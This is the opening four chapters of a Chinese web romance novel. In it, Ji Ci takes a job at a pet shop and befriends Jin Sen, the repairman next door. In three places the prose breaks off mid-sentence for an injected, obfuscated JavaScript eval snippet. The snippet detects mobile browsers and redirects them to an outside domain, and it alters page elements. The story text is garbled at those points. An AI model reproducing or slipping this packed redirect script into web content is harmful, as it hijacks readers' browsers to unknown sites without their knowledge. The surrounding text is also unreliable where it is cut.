《招猫惹狗》 1. 第 1 章 刚来云城那会儿,季瓷找工作还是挺积极的。 虽然她兜里的钱还够自己无所事事一段时间,但入不敷出总归不是好事。 不过这工作找的有点困难,因为她是学中医的。 这专业太有针对性,能去的地方也很固定,季瓷不想闻着那股药味,想干点别的。 但都没什么结果。 某次路过小酒馆,有人找她进去驻唱,她会弹点吉他,去了,隔天因为拒绝了客人的骚扰又被辞了。 眼见着快要入冬,来回折腾也挺累的,她开始彻底摆烂,没事去湖边遛弯。 云城的风景不错,碧海蓝天的,旅游城市都这样,街道路边都搞的花里胡哨的,每天都有新的一批人来。 但季瓷不是,她就在这儿,天天都能看。 十一月底,云城难得下了场薄雪。 季瓷在花市闲逛,拎了一盆山茶花回家养。 她喜欢买花,又没什么养花的天赋,买回来一茬一茬地死,她一趟一趟地换。 今天是她年前最后一次买花,她租的房子在年底到期,季瓷打算换个地方。 不过她挺舍不得楼下的小吃店,老板是一对夫妻,煮的馄饨很好吃,她每次经过都会顺手带一份回家吃,今天也是一样。 天气原因,店里没几个客人,季瓷找了个空位坐下,发现脚边有个猫窝,母猫窝在里面,身下藏着好几只奶猫。 季瓷拢了长发,低头去看。 “要猫不?”老板娘突然问她一句。 季瓷一脸茫然地抬起头:“啊?” “要猫你就捉一只,”老板娘又说,“太多了,我养不了。” 季瓷笑着摇头:“我不行,我养什么死什么。” 老板娘哈哈大笑。 之后几天,季瓷常来店里看猫。 老板逢人就送,一窝猫仔逐渐减少,最后留下一只格外瘦小的,老板说那是早产出来的,都不知道吃奶,看样子熬不过这个冬天。 季瓷用手指拨拨它,小东西抱着脑袋蜷在一起,连叫都不叫,像是真的快死了。 她咬咬牙,用围巾一卷给带走了。 附近似乎有一家宠物医院,店面开得挺大的,里面不少猫猫狗狗,季瓷印象很深,她按着记忆找过去,好在店门还没关。 季瓷抱着猫推门进去。 店里的医生是个年轻男人,告诉她猫太小了,没办法做检查,只是给季瓷推荐了幼猫吃的羊奶粉,教她怎么用注射器喂进去。 季瓷什么都不懂,手忙脚乱地像个新手妈妈,在店里折腾了快一个小时才给猫灌进去第一顿饭。 之后她又买了猫窝和尿垫,医生给了她一张名片,她才发现这家宠物医院有出来一半在卖宠物用品,而且还做宠物美容等一系列的服务。 她顺便办了个会员。 就在她一只手抱猫,另一只手拎着大包小包出了店门时,却意外看见了玻璃门上张贴的招聘信息。 季瓷去而复返,问这里是不是招人。 医生点头。 季瓷指指自己:“您看我行吗?” 其实不太行。 季瓷很明显就是个完全没有经验的新手,什么都要教,还不一定做得好。 但眼见着快到年末,马上就要迎来宠物美容的高峰期,招不到人还是挺难熬得。 “可以试试,”医生妥协道,“你先加一下我们老板微信吧。” - 隔天一大早,季瓷又抱着她那只半死不活的早产猫去了宠物店。 店长姓许,是个留着短发的精明女人,季瓷见她第一眼就明白了店里为什么招人,因为许老板挺着个大肚子,看起来应该快生了。 许老板问她:“家里有养猫猫狗狗吗?” 季瓷摇摇头:“不过奶奶家有养狗。” “在家里经常做家务吗?”许老板又问。 季瓷想了想:“在家不怎么做,但是在学校里都是我自己照顾自己。” 虽然没什么优势但是挺诚恳的,许老板托着下巴考虑了一会儿:“先试三天吧。” 谈好了试用期的工资待遇,季瓷交了身份证复印件以及健康证明。 她被分到了一件工作服,穿好围裙扎好头发,感觉自己已经像那么回事了。 “不忙的时候就拖拖地搞搞卫生,看看寄养的宠物有没有出现异常,来单了就跟着小周一起,她会教你怎么做宠物美容。” 小周是店里的另一个员工,女生,大季瓷两岁,负责店里的宠物洗澡美容。 两人比较投缘,认识没一会儿就能凑单点一单奶茶,闲暇时一边逗狗一边聊天,季瓷才知道昨天遇到的医生姓梁,和许老板是两口子。 “老板差不多年前就得生,你要快点上手,不然来大单了我一人可扛不下来。” 季瓷只顾着点头。 前两天比较清闲,她对“大单”没什么概念,直到第三天,店里进来了一只半人高的阿拉斯加,季瓷才明白许老板为什么急着招她进来。 她被狗毛淹没,折腾了整整一个下午,累瘫在了地上。 脑子里在想:我真的需要这份工作吗? 然而没等她想明白,许老板就笑着递给她一杯奶茶:“感觉怎么样?如果你愿意继续干,就算过了试用期。” 季瓷想了想,把奶茶接了过来:“干!” “行,”许老板说,“以后叫我许姐吧。” 店里来了新员工,许姐打算一起聚个餐。 可惜临走前出了问题,店里的下水道堵着了。 梁医生袖子一捋闷头捯饬半天没个动静,许姐叹了口气,对一边的小周说:“还是把靳老板喊来看看吧。” 季瓷跟着一起去了。 她以为会有一段路程,自己和小周一起路上说说话,不会太无聊。 但没想到,小周出了店门往旁边一转,直接喊道:“靳老板!您忙什么呢?” 季瓷脚步一顿,抬头看脑袋上悬着的店名:汽车维修/补胎换胎/电工瓦工/五金配件。 好全能。 店不精致,两扇卷闸门敞着,里面留着洗车和修车的位置。 冬天冷,人就窝在最里边的玻璃房里,悄无声息的,跟没这个人似的。 季瓷这几天来来回回路过,对这个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16458074|185380||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 靳老板愣是没什么印象。 “吱”一声,玻璃门开了,一道低沉的男声从饮料立柜的后面传出来:“没忙,有事?” 季瓷走进店里,往声源处探了探头。 小周在她身前两步,笑着说:“咱店里下水道又堵了,许姐让我喊你去看看。” 季瓷走到小周身边,立柜后恰巧走出一道高大的身影,她下意识地抬头去看,撞上一道微垂的视线。 男人穿着一身黑,刚把冲锋衣的拉链拉到最顶端,衣领遮住了下巴,显得鼻梁高挺。 见到陌生面孔,他挑了下眉,有些痞气:“店里来新人了?” 他的声音本来就粗,离近了听还有点重,秤砣似的往人耳朵里一压,季瓷往小周身后躲躲。 “已经转正了,”小周拍拍季瓷,“小季,这是靳老板。” 季瓷乖乖一点头:“靳老板。” 兔子似的。 “行,小季,”靳老板应了一声,走到工具桶边,弯腰拿了把工具,“去看看吧。” 专业的活就该让专业的人去解决,梁医生掏了半天的狗毛都没解决的事,靳老板没一会就给搞定了。 举手之劳,他们两家相熟,就没要钱。 许姐知道靳老板还没吃饭,就把人一起带着了。 一张圆桌,季瓷左边坐着小周,右边坐着许老板,许老板身边坐着梁医生,所以靳老板就坐在了她的对面。 男人肩膀宽,往那一坐简直顶她两个,小麦色的皮肤,说话时偶尔会有轻微的本地口音。 季瓷一抬眼就能看到他,虽然每次都会很快移走,但视线还是不由自主地多在对方脸上停留几秒。 她低头喝了口汤。 靳老板似乎没注意到她,侧脸一直在跟梁医生讨论给店里换个下水系统,小周悄咪咪地凑到季瓷的身边:“帅吧?” 季瓷轻咳一声:“还行。” 这个“还行”多多少少不太准确。 季瓷大学附近有个美术学院,里面不少帅哥,五花八门的,帅得很精致,有一种人工雕琢出来的美。 但靳老板不一样,靳老板那一头乱发怎么也不像是精心打扮过,但即便如此这也不影响五官的评判,像大刀阔斧砍出来的,总体而言,就硬帅。 “许姐有个朋友,”小周用只有她们两人能听到的声音说,“追靳老板追了一年多。” 季瓷一听八卦整个人都精神了:“真的啊?” “当然,长的还挺漂亮的……” 一顿饭没吃多久,季瓷回了宠物店把奶猫带着,然后骑着她的小电瓶了回出租屋。 她住五楼,晚上这个点水压上不来,不仅带不动热水器,就连水流都小得可怜。 季瓷找过几次房东,对方回回推脱。 唯一一次叫了维修工人上门,结果工人说装什么水泵,开口就要五百块,季瓷没装,凑合到现在。 她接了一盆清水,随便洗漱了一下,躺在床上,划拉着同城租赁软件。 单间出租太少了,价格、位置都合适的几乎没有,她叹了口气,临睡前看了眼奶猫,小肚子一鼓一鼓的,她俩都熬过了一天。 2. 第 2 章 今天算是季瓷正式上岗的第一天,排的早班,宠物店的大门钥匙在她手里。 她提前了半小时过去,奶猫兜在她的羽绒服里,暖暖和和的,吹不到一点风。 靳老板的汽修店大门紧闭,季瓷回想了一下,好像自己之前好多次经过都这么闭着,店门外有几个踩扁了的塑料瓶,大概是给路过拾荒的老人的。 进了店,猫狗叫成一片。 季瓷先是检查了一下各位大爷是否健康,然后换好工作服,拿着拖把和水桶接水、消毒,开始了一天的工作。 早上八点,小周来了。 她按着单子给寄养的宠物换口粮,季瓷在旁边学着做,这些以后她都得上手。 还有一些宠物晚上是要出去遛的,不过最近下了雪,这项服务就取消了。 他们今天有两个宠物美容的预定订单,排在下午,其中一个是老顾客——一只很乖的小泰迪,小周打算让季瓷单独去洗。 洗浴室有摄像头,全程录像,保护宠物也保护员工,季瓷多花了一点时间,洗得很仔细。 小周接过来负责吹干和修毛。 很快,第二只也来了,是只布偶猫。 小周没让季瓷洗猫,怕猫抓人,但这猫脾气好,季瓷抱了一会儿感觉可以拿捏,自己一人也给洗了。 两人干活总比一个人要快,平时要忙到晚上的单子,今天天还没黑就结束了。 季瓷用刮地器把瓷砖上的毛发拢在一起,蹲身去捡的时候,梁医生和靳老板一起进来,他们打算今天把尺寸量一下。 季瓷立刻站起来想让开,可能动作太急了,登时眼前一黑,刮地器“啪”一声倒在不知道哪儿,她双手下意识地抓扶,然后按到了一只结实的手臂。 “不好意思。”她站稳后连忙道歉。 “没事,”靳老板松开她,声音落在季瓷的耳边,“小心点。” 当晚,靳老板把下水道翻过来重新铺设了管道,叮叮当当在洗浴室一直忙到晚上。 砂浆水泥混在一起在外面拌好,十二月的天,靳森只穿了一件短袖,半弓着上身干活,周身蒸腾着汗气。 进到店里,嘴里叼着一根烟,一脚踩在下水道里,另一只脚踩在瓷砖边上,躬身抹面砌墙。 一眼看过去,宽肩窄腰,胸阔腿长。 梁医生在旁边跟他说话。 季瓷站在远处,手里握着一杯温水,看见靳老板肌肉凸起的大臂上纹了一处纹身,像是翅膀的形状,她看不太清。 当晚,许姐又请了一顿。 还是昨晚的地方,点了不一样的菜。 吃饭的人多了一个,听小周说,那就是许姐的朋友,追靳老板那个。 季瓷看了对方好几眼。 那人姓孙,季瓷跟着小周一起叫她孙姐。 孙姐长得是漂亮,举手投足间斯文有礼,是个初中老师。 对方坐在靳老板身边,有说有笑的,看不出来追求失败了。 吃完饭,许姐和梁医生一路,靳老板和孙姐一路,季瓷和小周一路。 看着靳老板身边隔着一步远的女伴,季瓷说:“他俩看起来又熟又不熟的。” “女追男隔层纱,许姐面子多少还是要给点的。”小周说。 “是吗?”季瓷耸了下肩,“那也挺累的。” 之后的事情季瓷不太清楚,但靳老板似乎依旧单身。 他的店开门晚,接的大多数活都在外面,季瓷听见卷帘门的声响会留意店外,靳老板有辆小破面包车,专门用来拉他的那些工具,轮胎轧过人行道“哐啷”一声,不知道又去哪儿干活了。 不过也是有闲暇时间的,对方一般都呆在店里,偶尔闲不住出去遛弯,来宠物店里“大黄”“豆豆”乱喊一通。 他很招小动物喜欢,每次来都跟皇帝亲临后宫似的,在店里掀起一阵不小的骚动。 季瓷的奶猫长大了不少,不过窝在靳老板手掌里依旧跟个摆件似的。 靳老板问它叫什么名,季瓷说叫馄饨,因为她是从一个做馄饨很好吃的店里把猫捡来的。 靳老板用手指逗猫,头都不抬:“喜欢吃馄饨?” 不知道是不是刚从外面进来,他的身上带着一股凉意,季瓷能闻到淡淡的烟草味道,因为冷下来了,所以不难闻。 季瓷轻轻“嗯”一声。 店里的吧台对于靳老板来说似乎有点太矮了,季瓷搭件东西在上面挺顺手的,靳老板想看就得弯着腰。 季瓷一米六八的个头,不算矮,粗略估计一下对方应该逼近一米九了。 她对体格快有她两倍的男人总是抱有一点戒备,长得帅也不行。 不过这份戒心很快消除了,因为就在不久之后,一位男顾客线上追求未果,线下跑来找季瓷想再要个机会。 季瓷那天正好下了晚班,月黑风高的夜里被人当街一堵,抓住了车头,她吓了一跳,把电瓶车一扔就往回跑。 汽修店的卷帘门只落下来一扇,另一扇降到一半,里面隐约有光。 季瓷一躬身就钻进去了。 “谁?”靳森搁下手上的线路板。 “靳、靳老板,”季瓷紧张地在原地揪手指头,“外面有个男的……” 话没说完靳森就知道了。 他披上外套,让季瓷往里进,自己一矮身出了店,对着外面探头探脑的男人就是一嗓子:“你干什么!” 季瓷也被吼得一抖,但心“轰”一下就落了地。 之后,靳老板和她一起去把电瓶车扶起来,刹车那块儿摔坏了,松松垮垮地悬着。 “你没摔着吧?”靳森问。 “没有。”季瓷展示了一下自己的双手,因为戴着手套,所以只是袖口微脏。 “那就行,”靳森单手把住车头,“去我店里吧。” 修车的行家就在这儿,直接就地维修了。 季瓷在旁边干巴巴地看着,末了不好意思地问多少钱。 “真客气,”靳老板干笑一声,“我送你回去。” 季瓷把车骑得很慢,靳森揣着口袋,在人行道上走。 她其实想解释一下,晚上遇到的男人和自己并没有什么关系,以免让靳老板担惊受怕,自己是否卷入人家小情侣之间的爱恨情仇。 但靳老板一直不问,季瓷就找不到一个开口的由头。 两人有一搭没一搭的聊天,聊到了馄饨,季瓷路过时给靳森介绍:“就是这家店。” 靳森看了眼招牌:“我吃过。” “我就住在后面那栋的五楼。”季瓷又给她指了一下。 “我给你个电话吧,”靳森掏出手机,“到家给我发条短信。” 靳森把季瓷送到楼下,又看着她进了单元楼。 没急着走,等到季瓷给他发了信息,这才抬头往上数了五格,确定灯亮了这才离开。 半小时后,季瓷按着通讯录里关联的账号,给靳老板的微信号发去了一条好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16458075|185380||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 友申请。 对方大概是在玩手机,立刻就同意了。 【词不达意:靳老板,我是小季。】 【汽修电焊靳哥:好的小季。】 【词不达意:今天谢谢了。】 【汽修电焊靳哥:客气。】 季瓷在床上翻了个身。 她把对方的备注改成“靳老板”,又点开对方的个人资料,头像是店面招牌,朋友圈最近一条是半年前发的,内容还是店内业务,妥妥一个企业号。 季瓷退出来,想捡起之前没说的话题,说一说自己和那个男人并没有什么。 但她又想到许姐的那个朋友,觉得多说无益,于是作罢。 隔天,季瓷准点上班。 靳老板的汽修店竟然开门了,她捏了刹车,往里面瞅了两眼。 好巧不巧,靳森含着个牙刷出来了。 “嗯,起了,屋里信号不好,我马上去。” 他挂了电话,把牙刷换到另一边,对季瓷道:“早。” 季瓷眨巴了两下眼睛:“……早。” 原本就乱的头发支楞八叉,像一株胡乱生长的灌木,充满着蓬勃生机的同时又太活泼了。 靳老板眼皮耷拉着,有点儿好笑。 “靳老板,你吃早饭了吗?”季瓷问。 靳森原本都要进去了,听这话又转过头:“嗯?” 季瓷把手上的包子豆浆放在店门口的货架上:“你带着吃,我再去买。” 说罢没等拒绝,一溜烟地跑了。 靳森带走了那份早饭,开着他那面包车路过宠物店时说了声谢谢。 季瓷单手拄着拖把,冲他挥挥手。 很快小周就来了,她昨晚听季瓷说了男客户的事,今天特地过来以防季瓷落单。 好在之后风平浪静,估计是靳老板余威尚存,那人没有再来造次。 十二月末,季瓷拿到了第一笔工资。 几千块钱,不算多,她请小周出去吃了一顿。 许姐的预产期就这两天,梁医生一直陪护,店里近期只接小型宠物的单子,所以两人下班比较早。 吃饭间,小周和季瓷吐槽了她男朋友的一百零八个缺点,而季瓷则跟小周抱怨了自己出租屋的各种问题。 不隔音、墙皮脱落、下水道反臭都算了,她勉强应对一下,都能忍受。 但是水压一天有二十个小时上不来真的没招,她洗个澡还得挑阴间时间。 小周一听:“你找靳老板啊。” 季瓷惊讶:“他还管这个?” 小周动动眉毛:“靳老板什么都管。” 话虽这么说,但季瓷还是没打算找靳老板,一是不想麻烦,二是没有必要。 一月底房子到期,她不打算续合同,不过现在还没找到新的房子,挺烦心的。 小周又说:“靳老板有房子租啊。” 季瓷愣愣:“……靳老板真什么都管?” 小周笑了:“就在咱们宠物店后头,他有两间房,门对门,一直挂着招租。” 宠物店后头?这样上班岂不是很近? 而且靳老板人品放在那儿,熟人间也比较放心。 季瓷觉得不错,立刻给靳老板发了条信息。 【词不达意:靳老板,听说你有空房出租?我的房子刚好到期,能不能了解一下。】 片刻后,她收到回复。 【汽修电焊靳哥:行啊,什么时候?】 3. 第 3 章 隔天季瓷是早班,上班早下班也早。 因为前阵子的事,许姐把下班时间提前了一个小时,晚上的天将黑未黑,她去隔壁汽修店了解情况。 靳老板的房子三室两厅,整租下来一个月的租金是季瓷之前的三倍。 季瓷:“打扰了。” 她打算缓缓地退下。 靳老板咬着根烟,没点燃,问:“急着租房?” “也不是很急,”季瓷说,“只不过这边都是整租的,单间不好找。” “原来那家怎么不继续租?”靳老板又问。 季瓷皱了皱眉:“问题挺多的……” 靳老板闲得没事,听季瓷说完后从屋里拿了个水泵,去她的出租屋三两下给装好,水流立刻就变大了。 季瓷问多少钱,靳老板摆手说不用。 “还是用吧,这不便宜。”季瓷说。 靳老板:“旧的,没多少钱。” 季瓷不信:“之前有个师傅过来,装水泵找我要六百。” 靳老板讪笑道:“六百?他怎么不去抢?” 季瓷把之前拍的照片给他看。 靳森手里玩着扳手,歪了歪身子,看季瓷翻转过来的屏幕,“哦”了一声:“这种扬尘泵是有点贵,不过也用不着六百,三百吧,带一个热水器也用不着扬尘泵。” 季瓷给听得一愣一愣的。 “我这泵新的才九十,放店里都快报废了,不值钱,你要心里过意不去,等退租时我再卸了拿回去,都行。” 他说完,顺手把厨房的排水系统给检查了。 最后随手把扳手收进口袋里,冲锋衣的口袋深,还能再装进去一卷胶带和一个螺丝刀。 靳老板出了厨房,抬眼看向天花板:“其他都是小问题,就是这楼上渗水挺严重的,能不租就别租了。” 季瓷听话地点点头。 姑娘家的房间不能久留,靳老板进来时门都是敞着的。 走时天黑,没让季瓷出门送他。 季瓷抠着门板,又说了声谢谢。 “晚上别给人开门。”靳老板站在走廊上说。 像教训小孩,季瓷嘀咕:“你也不行?” 靳老板脸皮挺厚:“我再说。” 季瓷有点想笑:“哦。” 靳老板替她把门关上了。 之后一个月,季瓷一下班就去找房子,不是位置不好就是价格不对。 最后终于找到了一个还算不错的合租,另一个室友也是个女孩,她们约定好了二月开始,季瓷后脚就给现在的房东打了电话。 房东说行,季瓷提了押金的事。 当初押一付三,她退租房东该把押金给她。 房东又说退押金得去看房子,季瓷说自己随时有时间。 宠物店那边有小周撑着,临时走一个小时是可以的。 只是听房东说话磨磨唧唧的态度,季瓷感觉她这押金要回来得费点功夫。 果然,几天后房东看了房子,挑出一大堆问题,最后告诉季瓷,想要退押金就得把房子恢复原样,包括房顶那一大片起潮的墙皮。 这有点太欺负人了。 季瓷果断报了警。 中间调停半天,房东在电话里只说在外地,不出面,想拖着季瓷。 见不到人,警察也没办法把手伸到对方口袋里把钱拿出来。 折腾了一个星期,季瓷有点累了。 但她不是软骨头,非要跟房东死磕,不退我押金也不出现是吧,那我继续住,也不交房租。 小周知道后有点担心,季瓷一个外地来的女孩儿,跟本地人硬碰硬,最后吃亏的还是她自己。 季瓷不服:“他们能弄死我?” “叮咚~欢迎光临~” 店门口的感应门铃响了,靳老板推门进来,笑着问:“谁要弄死你?” 小周跟看见大罗神仙似的迎上去:“靳老板!您来的正好,小季有麻烦了!” 说实话,这事季瓷不太想告诉靳老板,因为他俩还没熟到那个份上,而且对方已经帮自己很多了。 小周这么突然的求助,等于把靳老板架在火上,不帮都说不过去。 “没麻烦,”季瓷一把拉住小周,“没什么的。” 小周一点不看季瓷向她使得眼色,自顾自地继续说:“还没什么呢?你肯定是要吃亏的!” 靳老板摸了一圈小狗脑袋,走到她俩面前,把馄饨当皮球在手里倒来倒去:“说说。” 小周噼里啪啦把事情都说了出来。 靳老板听完认同地点点头:“那是要吃亏。” 季瓷耷拉着脑袋:“算、算了,也就是几百块……” “几百块呢,”靳老板说,“要过来给我。” 季瓷语塞:“要不过来啊……” 靳老板笑着说:“我给你要啊。” 季瓷:“……” “不过我要完房东该赶你出来了,新房子找到了吗?” 那房东压根没出市,靳老板带着季瓷哐哐砸他家的门。 一开始,季瓷生怕局面会难以控制。 但门开了,靳老板客客气气给房东点了根烟,温和细语陪着笑:“我是她哥,有什么问题你跟我讲。” 一米九的汉子一堵门,房东有问题也成了没问题。 回去的路上,季瓷把讨回来的押金转给靳老板,靳老板给退了:“说着玩的你还当真啊?” “我总得谢谢你,”季瓷耷拉着脑袋,小声道,“你帮我很多忙。” “小事,”靳老板把烟按灭在路边的垃圾桶上,“你一个姑娘家也不容易。” 季瓷红了眼。 当晚,她自己动手把靳老板的水泵给拆了,然后联系了新房东,打算先把东西搬过去。 然而没想到的是,季瓷微信被拉黑电话打不通,着急忙慌跑过去问情况,发现已经有人先她一步搬进来了。 当初和季瓷口头商定的姑娘支支吾吾地说她们也没签合同。 这是被人放了鸽子。 季瓷一时间也不知道怎么办了。 她只好暂时把行李放在宠物店,晚上勉强在折叠的小床上先凑合。 半夜,一道车灯扫过,小狗突然狂吠。 夜里凉,季瓷本就睡不安稳,登时一个激灵蹦起来,抄起手边的扫帚把灯打开,小心翼翼走到店门外,却意外发现了晚归的靳老板。 她想起自己刚卸下来的水泵,拿出去给他。 “你怎么在这?”靳老板下了车,很惊讶。 季瓷一脸尴尬,支支吾吾说不出来什么。 “被新房东放鸽子了?”靳老板摘了皮手套,接过水泵笑盈盈地问。 季瓷:“……” “你怎么什么都知道?” 靳老板笑出了声,弯腰把卷闸门“哗啦”一下拉开。 “之前听你说就觉得不靠谱,你没给钱,谁愿意等你。” 店外有些冷,季瓷把身上的珊瑚绒睡衣裹紧了些,说话带着轻微的鼻音:“她也没找我要。” 这种默认的人情世故真的很讨厌,又没人告诉她,她怎么会知道? 靳老板停在那儿,侧身看她,季瓷巴掌大的一张脸被黑发裹着,原本就白,被月光映衬着,像个营养不良的女鬼。 “怎么这么可怜?”靳森越看越好笑,“看把自己弄的。” 季瓷好看的细眉一拧,关门就要回店里。 “哎,”靳老板还在笑,大步迈过去,一把拉住门把手,“要不租我的房子吧,单租一间卧室给你。” “你不是整租吗?”季瓷问。 “本来是整租的,但是年后我老家有个亲戚过来,我得给她安排个地方住,总要拆一间。” 季瓷眨了下眼:“女亲戚?” 靳老板“啊”了一声:“男的我还特地给安排地方?睡我床底下。” 季瓷揉了揉眼睛,被他的语气逗得也有点想笑:“如果你的亲戚要来,我就租。” 这事就这么拍板下来了。 隔天,季瓷去看房子。 靳老板的房子没买多久,一楼两户,正好门对门。 房子里硬装齐全,瓷砖大白墙,有一些基本家具,有新的,也有二手的。 季瓷选了北边朝向的最小卧室,靳老板说这里西晒厉害,给她挪去主卧了。 “我我我去次卧就好,”季瓷连忙拒绝,“主卧可以留给你的女亲戚。” 靳森沉默片刻,微一挑眉:“你是不是误会什么了?” 季瓷小脸一红,睫毛乱颤。 “真亲戚!”靳老板叹出一声笑来。 季瓷“哦” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16458076|185380||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一声:“知道了,亲戚亲戚。” 季瓷最后留在了主卧,采光好,有个大阳台,晾晒衣服不用出门,私密性好。 靳老板按着季瓷被放了鸽子那家收的房租,不过季瓷觉得靳老板这间房条件要好很多。 两人在客厅签了电子合同,季瓷看到双方签名那块儿,才发现自己和靳老板认识也有一段时间了,今天才知道对方叫靳森。 “京市人?”靳老板微微惊讶,“跑这儿旅居?” “我……我逃避人生。”季瓷磕巴道。 靳老板笑笑,没问太多。 临走时,季瓷问靳老板晚上要不要一起吃饭。 说完,很快意识到不对,又急忙补充:“小周许姐梁医生都一起。” “行。”靳老板一口答应。 然而季瓷下午通知时,许姐由于身体原因去不了,梁医生自然也不来。 小周脸上浮现出猥琐的笑容:“我们三个?我去当电灯泡?” 季瓷一惊:“你别乱说!” “你不觉得靳老板很照顾你吗?”小周说。 季瓷捏着馄饨软软的脚垫:“那是因为我没用。” “不会的,”小周试图给季瓷洗脑,“这就是偏爱。” “靳老板人好而已,”季瓷叹了口气,“无论是谁他都帮的。” 小周见此路不通,于是另辟蹊径:“那你是什么意思呢?” “我?”季瓷瞪大眼睛,“我能是什么意思?” “靳老板怎么样?” “你可别说了。” “……” 季瓷耳尖有点发红,她抬手搓搓。 靳老板怎么样? 靳老板挺好的。 起初看着凶,但是个心善的好人。 小周挤着她:“我看靳老板竞争挺激烈的,你要看上了就赶紧下手。” 季瓷捂她的嘴:“别说了,我根本没那个想法。” 拉拉扯扯间,感应门铃响了,许姐的声音从店外传来:“你俩凑一起说什么悄悄话呢?” 小周笑得贼兮兮的,季瓷生怕她那张不严实的嘴秃噜出来什么,连忙追上去捂住。 然而下一秒,她俩都停住了。 许姐身后除了梁医生还跟着孙姐。 “买了个蛋糕,你们分着吃,”孙姐笑着把蛋糕放在前台,“你们忙。” 她手里还拎着另一个袋子,季瓷一眼扫过去,看不出来是什么。 对方出了店门,直接左转,汽修店在那边,很明显是要去哪。 “过几天有雨,”梁医生低头划拉着手机,“提前住院吧。” “也行,”许姐被分到一块蛋糕,“单子暂时就不接了,店里你俩一人一天轮个班,照看一下寄养的宝宝们。” 这算是变相的放假了,小周高兴欢呼。 “也就这几天天气不好,”许姐及时叫停,“天晴了该干活还是得干。” 季瓷捧着托盘,抿了下唇上的蛋糕,心思已经飞到隔壁了。 小周之前说的那些还太远,她没想过。 但真要说一点想法没有,也不太现实。 只是像孙姐这样漂亮知性的人都追不上,靳老板的眼光是有多高? “还剩一块,”许姐突然道,“老公,你不吃?” 梁医生摆摆手:“太腻了。” “送给靳老板吧。”小周用手肘戳戳季瓷。 季瓷眼神瞬间飘忽不定,瞥了眼许姐,对方也在看她。 “你送。”季瓷轻咳一声。 小周吃完蛋糕,把叉盘扔进垃圾桶:“一起送。” 季瓷被拉了出来。 汽修店的门开着,里面传来孙姐的声音。 “这几天还有雨,你要实在疼了就告诉我。” “没那么严重,”靳老板的声音带笑,“早就好了。” “靳老板!”小周高声打断两人的谈话,“我和小季给你送蛋糕了。” 季瓷往里走,看见靳老板坐在躺椅上,正往下放着一边裤管。 孙姐本来蹲在旁边的,见她们来了,就站了起来。 空气中有一股淡淡的苦味。 季瓷很熟悉,是膏药的味道。 “孙姐带的蛋糕,”小周把手里的东西一提,“梁医生不吃,我来问问靳老板。” 4. 第 4 章 “他不怎么吃甜食。”孙姐先开了口。 靳老板把掖着裤脚,没抬头,随便“嗯”了一声。 “嗐!”小周又把蛋糕放下,“那我只能吃两份了。” 店里气氛有些微妙,小周转身要走,季瓷却站那儿不动了。 “你腿上有伤?”季瓷问。 靳老板这才抬头:“嗯?” 季瓷:“这膏药里麝香用太多了。” 孙姐看向她:“你还懂这些?” “懂一点点。”季瓷说,“下雨湿气大,你穿得又少,不疼才怪。” 靳森先是一愣,然后听笑了:“你这话说的,像我妈。” 季瓷:“……” 她看了眼孙姐,微微点头,转身走了。 晚上的饭没吃成,许姐梁医生小周集体罢工,季瓷实在不想单独和靳老板出去吃饭。 况且对方那边似乎也挺忙的,暂时顾不上她。 季瓷干脆把这事咽下去了。 之后几天,云城的雨淅淅沥沥。 店外水雾茫茫,气温倒是上来了几分。 宠物店没什么生意,季瓷抱着馄饨站在店门口发呆。 隔壁是一家炒货店,暖黄的灯光照出一小片热烘烘的铺子。 她打伞去买了包板栗,回来时恰巧看见一辆车驶进旁边的汽修铺。 司机下了车,往里喊了声“有人吗?” 季瓷举着伞停下,没等着回应,便过去说:“老板可能出去了,您有什么需要吗?” “轮胎扎了,”司机说,“他什么时候回来?” “我帮你问问。”季瓷掏出手机给靳老板打了个电话。 靳森就在隔壁街给人修暖气,已经收拾东西准备走了,接到季瓷的电话后走得快点,那家人把他送出门。 等到了店,车主正和季瓷一起吃板栗。 季瓷坐在他平时补胎时坐的小凳上,抬头看他:“你怎么不打伞?” “点大的雨,”靳老板把手上的工具包一摘,问司机,“哪个胎?” 他们这边路接国道,偶尔会有渣土车车过留痕,洒一地碎石子,一些车开得快,轮胎大又薄,轧上去就爆胎,靳森的店是其中一个岔路下来最近的汽修店,经常会有这种生意。 “扎在侧边,补不了,得换。”靳森接过司机递的烟,咬在嘴里,“你要原厂的还是普通的?原厂我得调货。” 季瓷就在旁边看着。 她发现靳老板干活时喜欢抽烟,有时候也不点燃,就单纯咬着,说话时张不开嘴,含含糊糊的,显得声音低,但也能把话说清楚。 “调货得多久啊?”司机问。 “一个小时吧,”靳森低头点烟,“或者我给你换上备胎,你自己跑过去。不过你拿的价和我拿的价就不一样了。” 司机问了价格,对比半天,最后还是懒得继续折腾,让调货了。 靳老板去一边打电话。 